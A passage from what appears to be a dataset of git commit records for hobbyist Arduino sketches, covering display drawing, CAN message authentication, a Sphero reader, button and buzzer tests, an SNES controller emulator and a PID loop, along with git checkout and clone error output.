(D\/C), D4 (CS), D3 (RES), D11(DIN), D13(CLK)\r\n * Attiny SPI PINS: connect LCD to D4 (D\/C), GND (CS), D3 (RES), D1(DIN), D2(CLK)\r\n * ESP8266: connect LCD to D1(D\/C), D2(CS), RX(RES), D7(DIN), D5(CLK)\r\n *\/\r\n\r\n#include \"ssd1306.h\"\r\n#include \"ssd1331_api.h\"\r\n#include \"nano_canvas.h\"\r\n\r\n\/* Do not include SPI.h for Attiny controllers *\/\r\n#ifdef SSD1306_SPI_SUPPORTED\r\n #include <SPI.h>\r\n#endif\r\n\r\nuint8_t buffer[32*32];\r\n\r\nNanoCanvas8 canvas(32,32,buffer);\r\nint x = 72;\r\nint textx = 10;\r\n\r\nvoid setup()\r\n{\r\n ssd1306_setFixedFont(ssd1306xled_font6x8);\r\n ssd1331_96x64_spi_init(3, 4, 5);\r\n ssd1306_fillScreen( 0x00 );\r\n ssd1331_setMode(0);\r\n canvas.setTextMode(TEXT_MODE_TRANSPARENT);\r\n}\r\n\r\nvoid drawAll()\r\n{\r\n canvas.clear();\r\n canvas.drawRect(15,12,x,55,RGB_COLOR8(255,255,0));\r\n canvas.fillRect(16,13,x-1,54,RGB_COLOR8(0,255,255));\r\n canvas.putPixel(5,5,RGB_COLOR8(255,255,255));\r\n canvas.putPixel(10,10,RGB_COLOR8(255,0,0));\r\n canvas.putPixel(20,15,RGB_COLOR8(0,255,0));\r\n canvas.putPixel(30,20,RGB_COLOR8(0,0,255));\r\n canvas.setColor(RGB_COLOR8(255,0,0));\r\n canvas.printFixed(textx, 30, \"This is example of text output\", STYLE_NORMAL);\r\n}\r\n\r\nvoid refreshDisplay()\r\n{\r\n canvas.setOffset(0,0); drawAll(); canvas.blt();\r\n canvas.setOffset(32,0); drawAll(); canvas.blt();\r\n canvas.setOffset(64,0); drawAll(); canvas.blt();\r\n canvas.setOffset(0,32); drawAll(); canvas.blt();\r\n canvas.setOffset(32,32); drawAll(); canvas.blt();\r\n canvas.setOffset(64,32); drawAll(); canvas.blt();\r\n}\r\n\r\n\r\nvoid loop()\r\n{\r\n refreshDisplay();\r\n delay(20);\r\n textx++; if (textx ==96) textx = -192;\r\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/nano_canvas8\/nano_canvas8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b57027a893473c9db6a65c02b44ca5116aba0ddf","subject":"CAN Message Authentication with SpritzCipher","message":"CAN Message Authentication with SpritzCipher\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/CAN_Auth\/CAN_Auth.ino","new_file":"src\/CAN_Auth\/CAN_Auth.ino","new_contents":"#include <SpritzCipher.h>\n#include \"can_constants.h\"\n#include \"mcp_can.h\"\n#include <SPI.h>\n\nMCP_CAN CAN0(9); \/\/ Set CS pin to 9 (only for Seeed Studio CAN Bus)\n\nuint8_t MESSAGE[8] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};\nconst uint16_t MESSAGE_LEN = sizeof(MESSAGE);\nuint8_t CORRECT_KEY[3] = {0x00, 0x01, 0x02};\nconst uint16_t KEY_LEN = sizeof(CORRECT_KEY);\nuint8_t BAD_KEY[3] = {0x0f, 0x0e, 0x0d};\nconst uint8_t HASH_LEN = 20;\n\nuint8_t CORRECT_HASH[HASH_LEN];\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n \/\/ Create the correct hash\n spritz_mac(&CORRECT_HASH[0], HASH_LEN, &MESSAGE[0], MESSAGE_LEN, &CORRECT_KEY[0], KEY_LEN);\n Serial.begin(9600);\n while(!Serial);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n Serial.print(\"Sending Correct Message...\");\n VerifyMessage(&MESSAGE[0], MESSAGE_LEN, &CORRECT_KEY[0], KEY_LEN);\n Serial.print(\"\\n\\nSending Incorrect Message...\");\n VerifyMessage(&MESSAGE[0], MESSAGE_LEN, &BAD_KEY[0], KEY_LEN);\n\n delay(10000);\n}\n\n\n\/\/-----------------------------------------------------------------------------------------------\n\n\nbool CompareHash(uint8_t *hash)\n{\n for(int i = 0; i < HASH_LEN; i++)\n {\n if (hash[i] != CORRECT_HASH[i])\n return false;\n }\n return true;\n}\n\nbool VerifyMessage(uint8_t *msg, uint16_t msgLen, uint8_t* key, uint16_t keyLen)\n{\n \/\/ Create hash based off given arguments\n uint8_t *hash = new uint8_t[HASH_LEN];\n spritz_mac(&hash[0], HASH_LEN, &msg[0], msgLen, &key[0], keyLen);\n\n if (CompareHash(&hash[0]))\n {\n Serial.println(\"SUCCESS!\");\n return true;\n }\n else\n {\n Serial.println(\"FAILED\");\n return false;\n }\n}\n\nvoid PrintMessage(int id, int dlc, byte* data)\n{\n Serial.print(id, HEX);\n Serial.print(\"#0\");\n Serial.print(dlc, HEX); \n for(int i = 0; i < dlc; i++)\n {\n if (data[i] < 0x10)\n Serial.print(\"0\");\n Serial.print(data[i], HEX);\n }\n Serial.print(\"\\n\");\n}\n\nvoid FillAuthMessages(uint8_t *hash, unsigned char *msg1, unsigned char *msg2, unsigned char *msg3)\n{\n for (int i = 0; i < HASH_LEN; i++)\n {\n if (i < 8)\n msg1[i] = hash[i];\n else if (i < 16)\n msg2[i] = hash[i];\n else\n msg3[i] = hash[i];\n i++;\n }\n}\n\nvoid SendAuthMessages(int id, int dlc, uint8_t *auth_hash)\n{\n unsigned char auth_msg1[8];\n unsigned char auth_msg2[8];\n unsigned char auth_msg3[4];\n \/\/ Divide the hash up among 3 messages (2 and a half really; the last 32-bits will be for timestamp\n FillAuthMessages(auth_hash, &auth_msg1[0], &auth_msg2[0], &auth_msg3[0]);\n CAN0.sendMsgBuf(id, CAN_EXTID, 8, auth_msg1);\n CAN0.sendMsgBuf(id, CAN_EXTID, 8, auth_msg2);\n CAN0.sendMsgBuf(id, CAN_EXTID, 4, auth_msg3);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/CAN_Auth\/CAN_Auth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dfdc507714980f4a113999fa62af79d73963f505","subject":"Created ReadIMU example for async data (NOTE: Still in progress)","message":"Created ReadIMU example for async data\n(NOTE: Still in progress)\n\nSigned-off-by: Cruz Monrreal II <663375bc5b4c6ed13a95cc63b2dd9f1e16363f4e@gmail.com>\n","repos":"cmonr\/Arduino-Sphero-Library","old_file":"examples\/ReadIMU\/ReadIMU.ino","new_file":"examples\/ReadIMU\/ReadIMU.ino","new_contents":"\/************************************************\n Written by Cruz Monrreal II\n Created on 08-19-2012\n \n Updates can be found here:\n https:\/\/github.com\/cmonr\/Arduino-Bluetooth-Library\n************************************************\/\n\n#include <Sphero.h>\n\nSphero sphero;\n\nvoid setup() {\n Serial.begin(115200);\n delay(2000);\n sphero.setStabilization(0);\n sphero.setStreamingData(400, 1, 0x00040000);\n delay(2000);\n}\n\nvoid loop() {\n Serial.println(\"\\n\");\n \n sphero.readAsyncPacket();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ReadIMU\/ReadIMU.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"c36e536baa3eb8c198409e17ad5eceb42afcf6db","subject":"Updated filter example discription","message":"Updated filter example discription\n","repos":"TFTLibraries\/TFT,TFTLibraries\/TFT","old_file":"examples\/PICadillo-35T\/Filters\/Filters.ino","new_file":"examples\/PICadillo-35T\/Filters\/Filters.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TFTLibraries\/TFT.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"467e3467d5c324a350da99ede0a808ee31833f19","subject":"add arduino push code","message":"add arduino push code\n","repos":"SebastianFlo\/party-button","old_file":"buttonPress\/buttonPress.ino","new_file":"buttonPress\/buttonPress.ino","new_contents":"int inPin = 7; \/\/ the pin number for input (for me a push button)\nint ledPin = 13; \n\nint current; \/\/ Current state of the button\n \/\/ (LOW is pressed b\/c i'm using the pullup resistors)\nlong millis_held; \/\/ How long the button was held (milliseconds)\nlong secs_held; \/\/ How long the button was held (seconds)\nlong prev_secs_held; \/\/ How long the button was held in the previous check\nbyte previous = HIGH;\nunsigned long firstTime; \/\/ how long since the button was first pressed \n\n\nvoid setup() {\n Serial.begin(9600); \/\/ Use serial for debugging\n pinMode(ledPin, OUTPUT);\n digitalWrite(inPin, HIGH); \/\/ Turn on 20k pullup resistors to simplify switch input\n}\n\nvoid loop() {\n current = digitalRead(inPin);\n\n \/\/ if the button state changes to pressed, remember the start time \n if (current == LOW && previous == HIGH && (millis() - firstTime) > 200) {\n firstTime = millis();\n }\n\n millis_held = (millis() - firstTime);\n secs_held = millis_held \/ 1000;\n\n \/\/ This if statement is a basic debouncing tool, the button must be pushed for at least\n \/\/ 100 milliseconds in a row for it to be considered as a push.\n if (millis_held > 50) {\n\n if (current == LOW && secs_held > prev_secs_held) {\n ledblink(1, 50, ledPin); \/\/ Each second the button is held blink the indicator led\n }\n\n \/\/ check if the button was released since we last checked\n if (current == HIGH && previous == LOW) {\n \/\/ HERE YOU WOULD ADD VARIOUS ACTIONS AND TIMES FOR YOUR OWN CODE\n \/\/ ===============================================================================\n\n \/\/ Button pressed for less than 6 seconds, turn on.\n if (secs_held < 6) {\n Serial.print(\"Short Press: \");\n Serial.print(secs_held);\n Serial.print(\" Milliseconds held: \");\n Serial.println(millis_held);\n ledblink(10,200,ledPin); \n }\n\n \/\/ Button held for more than 6 seconds, turn off.\n if (secs_held >= 6) {\n Serial.print(\"Long Press: \");\n Serial.print(secs_held);\n Serial.print(\" Milliseconds held: \");\n Serial.println(millis_held);\n }\n \/\/ ===============================================================================\n }\n }\n\n previous = current;\n prev_secs_held = secs_held;\n}\n\n\/\/ Just a simple helper function to blink an led in various patterns\nvoid ledblink(int times, int lengthms, int pinnum){\n for (int x=0; x<times;x++) {\n digitalWrite(pinnum, HIGH);\n delay (lengthms);\n digitalWrite(pinnum, LOW);\n delay(lengthms);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'buttonPress\/buttonPress.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b5aa02c4177821109a938df094de7d8e9f787e23","subject":"add buzzer filer","message":"add buzzer filer\n","repos":"czl\/hackTX_2014,czl\/hackTX_2014,czl\/hackTX_2014,czl\/hackTX_2014","old_file":"buzzer_test\/buzzer_test.ino","new_file":"buzzer_test\/buzzer_test.ino","new_contents":"#include <Wire.h>\n#include \"\/hackTX14\/rgb_lcd.h\"\n#include \"\/hackTX14\/rgb_lcd.cpp\"\n\nrgb_lcd lcd;\n\nint colorR = 100;\nint colorG = 150;\nint colorB = 200;\n\nconst int button_pin = 3; \/\/\nconst int led_pin = 13;\nconst int touch_pin = 4;\nconst int buzz_pin = 8;\nconst char blank_writer[16] = \" \";\n\nint button_state = 0;\nint touch_state = 0;\nboolean toggle = false;\nint button_count = 0;\nint hold_time = 0;\n\nvoid setup() \n{ \n pinMode(buzz_pin, OUTPUT);\n pinMode(button_pin, INPUT);\n pinMode(touch_pin, INPUT);\n pinMode(led_pin, OUTPUT);\n lcd.begin(16,2);\n lcd.setRGB(100,100,100);\n lcd.print(\"test button\");\n delay(1000);\n lcd.setCursor(0,0);\n lcd.print(\"start! \");\n delay(100);\n lcd.setCursor(0,0);\n lcd.print(\"count: \");\n lcd.setCursor(0,1);\n lcd.print(blank_writer);\/\/write all blank\n lcd.setCursor(9,0);\n lcd.print(\"touch\");\n tone(buzz_pin, 440, 500);\n tone(buzz_pin, 823, 500);\n delay(20);\n tone(buzz_pin, 823, 800);\n \/\/digitalWrite(buzz_pin, HIGH);\n \/\/delay(analogRead(0)); \n \/\/digitalWrite(buzz_pin, 2400);\n delay(10);\n\n}\n\nvoid loop() \n{\n \/\/delay(150);\n\n lcd.setCursor(0,1);\n lcd.print(button_count);\n button_state = digitalRead(button_pin);\n touch_state = digitalRead(touch_pin);\n\n if(touch_state == HIGH){\n lcd.setCursor(9,0);\n lcd.print(\"on \");\n }\n else{\n lcd.setCursor(9,0);\n lcd.print(\"off \"); \n }\n\n \/\/ if(button_state == LOW){\n \/\/ while(digitalRead(button_pin) == LOW){} \n \/\/ }\n if(button_state == HIGH){\n toggle = !toggle;\n ++button_count;\n hold_time = 0;\n \/\/ while(digitalRead(button_pin) == HIGH){ \/\/sample is in microseconds, b\/c 1MHz processor\n \/\/ ++hold_time;\/\/counts how long we have held it in ms\n \/\/ };\n } \n lcd.setCursor(6,1);\n lcd.print(\" \");\n lcd.setCursor(6,1);\n lcd.print(hold_time); \n if(toggle)\n digitalWrite(led_pin, HIGH);\n else\n digitalWrite(led_pin, LOW);\n delay(10); \/\/delay in MS\n}\n\n\/*********************************************************************************************************\n * END FILE\n *********************************************************************************************************\/\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'buzzer_test\/buzzer_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ab17455d7ba9fff7a7f2581c089680b712896c70","subject":"Add basic SNES controller","message":"Add basic SNES controller","repos":"WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff,WhatAboutGaming\/Twitch-Plays-Stuff","old_file":"snes_controller\/snes_controller.ino","new_file":"snes_controller\/snes_controller.ino","new_contents":"\/\/ This project uses 4 8-bit shift register, such as 74HC595 or HCF4094, in cascading format\r\n\/*\r\n SNES Controller v1.0 for Arduino UNO by WhatAboutGaming\r\n For use in the Twitch.TV stream TwitchTriesToPlay.\r\n https:\/\/www.twitch.tv\/twitchtriestoplay\r\n https:\/\/github.com\/WhatAboutGaming\/Twitch-Plays-Stuff\r\n\r\n Reference:\r\n https:\/\/github.com\/marcosassis\/gamepaduino\/wiki\/SNES-controller-interface\r\n https:\/\/www.repairfaq.org\/REPAIR\/F_SNES.html\r\n*\/\r\n\r\n#define latchPin 2 \/\/ HCF4094\/74HC595 Latch\/Strobe Input\r\n#define dataPin 3 \/\/ HCF4094\/74HC595 Data Input\r\n#define clockPin 4 \/\/ HCF4094\/74HC595 Clock Input\r\n\r\n#define buttonB 0 \/\/ Left 3\r\n#define buttonY 1 \/\/ Left 4\r\n#define buttonSelect 2 \/\/ Left 5\r\n#define buttonStart 3 \/\/ Left 6\r\n\r\n#define buttonUp 4 \/\/ Left 7\r\n#define buttonDown 5 \/\/ Left 8\r\n#define buttonLeft A0 \/\/ Left 9\r\n#define buttonRight 7 \/\/ Left 10\r\n\r\n#define buttonA 8 \/\/ Left 11\r\n#define buttonX 9 \/\/ Left 12\r\n\r\n#define buttonLHalf 10 \/\/ Left 13\r\n#define buttonLFull 11 \/\/ Left 13\r\n#define buttonRHalf 12 \/\/ Left 14\r\n#define buttonRFull 13 \/\/ Left 14\r\n\r\nbool defaultStatus[] = {LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW};\r\nbool inputStatus[] = {LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW, LOW};\r\nunsigned int commandArray[] = {buttonB, buttonY, buttonSelect, buttonStart, buttonUp, buttonDown, buttonLeft, buttonRight, buttonA, buttonX, buttonLHalf, buttonLFull, buttonRHalf, buttonRFull, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31};\r\n\r\nboolean isInputting = false;\r\nboolean isInputtingDelayed = false;\r\n\r\nunsigned long inputDelay = 0;\r\nunsigned long previousInputDelay = 0;\r\nunsigned long currentMillis = 0;\r\n\r\nunsigned long baudRate = 2000000;\r\n\r\nbyte serial_rx_buffer[12];\r\nunsigned long controller = 0;\r\n\r\nvoid setup()\r\n{\r\n Serial.begin(baudRate);\r\n\r\n pinMode(latchPin, OUTPUT);\r\n pinMode(dataPin, OUTPUT);\r\n pinMode(clockPin, OUTPUT);\r\n pinMode(buttonLeft, OUTPUT);\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, !defaultStatus[i]);\r\n digitalWrite(buttonLeft, !defaultStatus[1]);\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n \/\/ Reset everything\r\n serial_rx_buffer[0] = 0x00;\r\n serial_rx_buffer[1] = 0x00;\r\n serial_rx_buffer[2] = 0x00;\r\n serial_rx_buffer[3] = 0x00;\r\n serial_rx_buffer[4] = 0x00;\r\n serial_rx_buffer[5] = 0x00;\r\n serial_rx_buffer[6] = 0x00;\r\n serial_rx_buffer[7] = 0x00;\r\n serial_rx_buffer[8] = 0x00;\r\n serial_rx_buffer[9] = 0x00;\r\n serial_rx_buffer[10] = 0x00;\r\n serial_rx_buffer[11] = 0x00;\r\n}\r\nvoid loop()\r\n{\r\n currentMillis = millis();\r\n if (Serial.available() > 0)\r\n {\r\n controller = Serial.readBytes(serial_rx_buffer, sizeof(serial_rx_buffer)) && 0xFF;\r\n\r\n \/\/ Set Start Byte (Preamble Byte) and End Byte (Postamble Byte)\r\n \/\/ 1 == 0x01\r\n if ((serial_rx_buffer[0] == 0x01) && (serial_rx_buffer[11] == 0x01))\r\n {\r\n \/\/ Make the button presses actually work\r\n isInputting = true;\r\n previousInputDelay = currentMillis;\r\n }\r\n }\r\n pressButtons();\r\n}\r\n\r\nvoid pressButtons()\r\n{\r\n if (isInputtingDelayed == false)\r\n {\r\n \/\/ Define input delay (If Buffer Array Element 9 and 10 !=0)\r\n inputDelay = (unsigned long)serial_rx_buffer[9] << 8 | (unsigned long)serial_rx_buffer[10];\r\n }\r\n if (isInputting == true)\r\n {\r\n \/\/ Press Button\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ B, Y, SELECT, START, UP, DOWN, LEFT, RIGHT\r\n inputStatus[4] = (serial_rx_buffer[1] & B00000001); \/\/ B\r\n inputStatus[5] = (serial_rx_buffer[1] & B00000010); \/\/ Y\r\n inputStatus[6] = (serial_rx_buffer[1] & B00000100); \/\/ Select\r\n inputStatus[7] = (serial_rx_buffer[1] & B00001000); \/\/ Start\r\n inputStatus[8] = (serial_rx_buffer[1] & B00010000); \/\/ Up\r\n inputStatus[10] = (serial_rx_buffer[1] & B00100000); \/\/ Down\r\n inputStatus[1] = (serial_rx_buffer[1] & B01000000); \/\/ Left\r\n inputStatus[0] = (serial_rx_buffer[1] & B10000000); \/\/ Right\r\n\r\n \/\/ Second 4 buttons, Buffer Array Element 2\r\n \/\/ A, X, L, R, N\/A, N\/A, N\/A, N\/A\r\n inputStatus[24] = (serial_rx_buffer[2] & B00000001); \/\/ A\r\n inputStatus[3] = (serial_rx_buffer[2] & B00000010); \/\/ X\r\n\r\n \/\/ Because the L and R buttons are connected to a board where\r\n \/\/ it outputs pseudo-analog levels, we have to set 2 bits low\r\n \/\/ or high to be able to actually press the buttons\r\n inputStatus[20] = (serial_rx_buffer[2] & B00000100); \/\/ L\r\n inputStatus[21] = (serial_rx_buffer[2] & B00000100); \/\/ L\r\n inputStatus[22] = (serial_rx_buffer[2] & B00001000); \/\/ R\r\n inputStatus[23] = (serial_rx_buffer[2] & B00001000); \/\/ R\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, !inputStatus[i]);\r\n digitalWrite(buttonLeft, !inputStatus[1]); \/\/ This is the Left Dpad button, which isn't on the shift registers, it's on the output A0\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n \/\/ Buffer Array Elements 9 and 10 are used to tell the Arduino how long commands are executed, on a delay ranging from 1-65535ms\r\n if (inputDelay != 0)\r\n {\r\n isInputtingDelayed = true;\r\n \/\/ The block below executes Soft Delay for holding the buttons down\r\n if (isInputtingDelayed == true)\r\n {\r\n if (currentMillis - previousInputDelay >= inputDelay)\r\n {\r\n \/\/ Now we need to stop the Soft Delay\r\n\r\n \/\/ Reset everything\r\n serial_rx_buffer[0] = 0x00;\r\n serial_rx_buffer[1] = 0x00;\r\n serial_rx_buffer[2] = 0x00;\r\n serial_rx_buffer[3] = 0x00;\r\n serial_rx_buffer[4] = 0x00;\r\n serial_rx_buffer[5] = 0x00;\r\n serial_rx_buffer[6] = 0x00;\r\n serial_rx_buffer[7] = 0x00;\r\n serial_rx_buffer[8] = 0x00;\r\n serial_rx_buffer[9] = 0x00;\r\n serial_rx_buffer[10] = 0x00;\r\n serial_rx_buffer[11] = 0x00;\r\n\r\n \/\/ First 8 buttons, Buffer Array Element 1\r\n \/\/ B, Y, SELECT, START, UP, DOWN, LEFT, RIGHT\r\n inputStatus[4] = (serial_rx_buffer[1] & B00000001); \/\/ B\r\n inputStatus[5] = (serial_rx_buffer[1] & B00000010); \/\/ Y\r\n inputStatus[6] = (serial_rx_buffer[1] & B00000100); \/\/ Select\r\n inputStatus[7] = (serial_rx_buffer[1] & B00001000); \/\/ Start\r\n inputStatus[8] = (serial_rx_buffer[1] & B00010000); \/\/ Up\r\n inputStatus[10] = (serial_rx_buffer[1] & B00100000); \/\/ Down\r\n inputStatus[1] = (serial_rx_buffer[1] & B01000000); \/\/ Left\r\n inputStatus[0] = (serial_rx_buffer[1] & B10000000); \/\/ Right\r\n\r\n \/\/ Second 8 buttons, Buffer Array Element 2\r\n \/\/ A, X, L, R, N\/A, N\/A, N\/A, N\/A\r\n inputStatus[24] = (serial_rx_buffer[2] & B00000001); \/\/ A\r\n inputStatus[3] = (serial_rx_buffer[2] & B00000010); \/\/ X\r\n\r\n \/\/ Because the L and R buttons are connected to a board where\r\n \/\/ it outputs pseudo-analog levels, we have to set 2 bits low\r\n \/\/ or high to be able to actually press the\r\n inputStatus[20] = (serial_rx_buffer[2] & B00000100); \/\/ L\r\n inputStatus[21] = (serial_rx_buffer[2] & B00000100); \/\/ L\r\n inputStatus[22] = (serial_rx_buffer[2] & B00001000); \/\/ R\r\n inputStatus[23] = (serial_rx_buffer[2] & B00001000); \/\/ R\r\n\r\n digitalWrite(latchPin, LOW);\r\n for (int i = 31; i >= 0; i--)\r\n {\r\n digitalWrite(clockPin, LOW);\r\n digitalWrite(dataPin, !inputStatus[i]);\r\n digitalWrite(buttonLeft, !inputStatus[1]); \/\/ This is the Left Dpad button, which isn't on the shift registers, it's on the output A0\r\n digitalWrite(clockPin, HIGH);\r\n }\r\n digitalWrite(latchPin, HIGH);\r\n\r\n isInputtingDelayed = false;\r\n isInputting = false;\r\n previousInputDelay += inputDelay;\r\n inputDelay = 0;\r\n }\r\n }\r\n }\r\n }\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'snes_controller\/snes_controller.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1dbc13d0174d466c591fe7f27d12d5cfc4575430","subject":"final arduino code","message":"final arduino code\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"55af8951b950854d5df03f85346ef6a6488fd58d","subject":"fix weird bugs","message":"fix weird bugs\n","repos":"kdomen\/Morse-Code","old_file":"arduinoCode\/arduinoCode.ino","new_file":"arduinoCode\/arduinoCode.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c53a85d5fbbc0ded2f50545b69eeacf907615eae","subject":"Adding file for simple PID control with arduino","message":"Adding file for simple PID control with arduino\n\nThis code control temperature, and to be modified to our purposes\n","repos":"Mecanon\/morphing_wing,Mecanon\/morphing_wing,Mecanon\/morphing_wing","old_file":"arduino\/PID\/PID.ino","new_file":"arduino\/PID\/PID.ino","new_contents":"\/\/ (Really Simple) PID Class by Ivan Seidel\n\/\/ GitHub.com\/ivanseidel\n\/\/ Use as you want. Leave credits\n\nclass PID{\npublic:\n\t\n\tdouble error;\n\tdouble sample;\n\tdouble lastSample;\n\tdouble kP, kI, kD; \n\tdouble P, I, D;\n\tdouble pid;\n\t\n\tdouble setPoint;\n\tlong lastProcess;\n\t\n\tPID(double _kP, double _kI, double _kD){\n\t\tkP = _kP;\n\t\tkI = _kI;\n\t\tkD = _kD;\n\t}\n\t\n\tvoid addNewSample(double _sample){\n\t\tsample = _sample;\n\t}\n\t\n\tvoid setSetPoint(double _setPoint){\n\t\tsetPoint = _setPoint;\n\t}\n\t\n\tdouble process(){\n\t\t\/\/ Implementa\u00e7\u00e3o P ID\n\t\terror = setPoint - sample;\n\t\tfloat deltaTime = (millis() - lastProcess) \/ 1000.0;\n\t\tlastProcess = millis();\n\t\t\n\t\t\/\/P\n\t\tP = error * kP;\n\t\t\n\t\t\/\/I\n\t\tI = I + (error * kI) * deltaTime;\n\t\t\n\t\t\/\/D\n\t\tD = (lastSample - sample) * kD \/ deltaTime;\n\t\tlastSample = sample;\n\t\t\n\t\t\/\/ Soma tudo\n\t\tpid = P + I + D;\n\t\t\n\t\treturn pid;\n\t}\n};\n\n#define pSENSOR A1\n#define pCONTROLE 3\n\nPID meuPid(1.0, 0, 0);\n\nvoid setup() {\n\tSerial.begin(9600);\n\t\n\tpinMode(pSENSOR, INPUT);\n\tpinMode(pCONTROLE, OUTPUT);\n}\n\nint controlePwm = 50;\n\nvoid loop() {\n\t\n\t\/\/ L\u00ea temperatura\n\tdouble temperature = map(analogRead(pSENSOR), 0, 1023, 0, 100);\n\t\n\t\/\/ Manda pro objeto PID!\n\tmeuPid.addNewSample(temperature);\n\t\n\t\n\t\/\/ Converte para controle\n\tcontrolePwm = (meuPid.process() + 50);\n\t\/\/ Sa\u00edda do controle\n\tanalogWrite(pCONTROLE, controlePwm);\n\t\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/PID\/PID.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f66a043a9a9c6f8238014b238c91a6767e52678","subject":"Update firmware","message":"Update firmware\n","repos":"qiwi\/parking","old_file":"arduino\/parking.ino","new_file":"arduino\/parking.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/qiwi\/parking.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5e2e1b0914a18387182396fcdcabadc70be138ae","subject":"ADD - Functioning Camera Controll","message":"ADD - Functioning Camera Controll\n","repos":"CasperPlatform\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches,CasperPlatform\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches","old_file":"Arduino\/Camera Controller\/XY_1\/XY_1.ino","new_file":"Arduino\/Camera Controller\/XY_1\/XY_1.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Camera' did not match any file(s) known to git\nerror: pathspec 'Controller\/XY_1\/XY_1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a4241b0bcc491f469c8e6feda3f23375ebaea300","subject":"Update Line_sensor.ino","message":"Update Line_sensor.ino\n\nThe line sensor I used is marked \"QA\", therefore it is an analog sensor. I updated the sketch to use analogRead.","repos":"futureshocked\/arduino_sbs,iNNPL\/arduino_sbs,billdwp\/arduino_sbs,iNNPL\/arduino_sbs,billdwp\/arduino_sbs,merbok\/arduino_sbs,merbok\/arduino_sbs,futureshocked\/arduino_sbs,futureshocked\/arduino_sbs","old_file":"Line sensor\/Line_sensor\/Line_sensor.ino","new_file":"Line sensor\/Line_sensor\/Line_sensor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Line' did not match any file(s) known to git\nerror: pathspec 'sensor\/Line_sensor\/Line_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"017e12d2c8c497951aa370c546f314c9dae74de4","subject":"Create Example1.ino","message":"Create Example1.ino","repos":"madtoyslab\/xbox-controller-s-breakout","old_file":"libraries\/Madtoyslab_XboxControllerS\/examples\/Example1\/Example1.ino","new_file":"libraries\/Madtoyslab_XboxControllerS\/examples\/Example1\/Example1.ino","new_contents":"\/*\n Madtoyslab_XboxControllerS.h\n \n Madtoyslab_XboxControllerS - library for the 